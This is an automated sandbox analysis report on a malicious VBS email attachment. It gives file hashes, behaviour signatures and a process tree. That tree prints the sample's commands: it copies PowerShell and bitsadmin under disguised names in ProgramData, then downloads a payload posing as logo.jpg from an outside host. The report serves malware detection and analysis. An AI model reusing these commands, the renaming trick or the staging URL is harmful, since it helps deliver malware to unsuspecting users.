Analysis
- max time kernel
33s - max time network
69s - platform
windows10_x64 - resource
win10v20201028 - submitted
30/11/2020, 14:04
Static task
static1
Behavioral task
behavioral1
Sample
Allegato_GRCPTR56P29G273X.vbs
Resource
win7v20201028
0 signatures
0 seconds
General
- Target Allegato_GRCPTR56P29G273X.vbs
- Size 6KB
- Sample201130-hvly2vhsjs
- SHA256 a068043f049b5b816f6880efd88254fd00603992cfaefd005813530e95d47061
- MD5 117b47e28ec75072e0b194c62747fe96
- SHA1 7a6afd4fde5ffed19dee9f039734feace7881b22
- SHA512 ee098cb9c9a8585ecfa18be9b200523aab64b48ba5650629fd7a5d0923d0b86cae1d1e305a0ff187cde149a59f4450e5b7479da6dc415c8781f1ab3f2a253204
- MD5 SHA1 SHA512
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
pid Process 3988 OsSlfIOin.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 884 wrote to memory of 496 884 WScript.exe 73 PID 884 wrote to memory of 496 884 WScript.exe 73 PID 496 wrote to memory of 2508 496 cmd.exe 76 PID 496 wrote to memory of 2508 496 cmd.exe 76 PID 496 wrote to memory of 3712 496 cmd.exe 77 PID 496 wrote to memory of 3712 496 cmd.exe 77 PID 884 wrote to memory of 3988 884 WScript.exe 78 PID 884 wrote to memory of 3988 884 WScript.exe 78 PID 884 wrote to memory of 3988 884 WScript.exe 78
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_GRCPTR56P29G273X.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:884 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zArjMdCO.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\OsSlfIO*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:496 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\zArjMdCO.exe3⤵PID:2508
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\OsSlfIO*.exe3⤵PID:3712
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C:\ProgramData\OsSlfIOin.exe"C:\ProgramData\OsSlfIOin.exe" /transfer tAdvfv /download https://estebankott.com/ordasum/GRCPTR56P29G273X/logo.jpg C:\Users\Admin\AppData\Roaming\logo.jpg2⤵
- Executes dropped EXE
PID:3988
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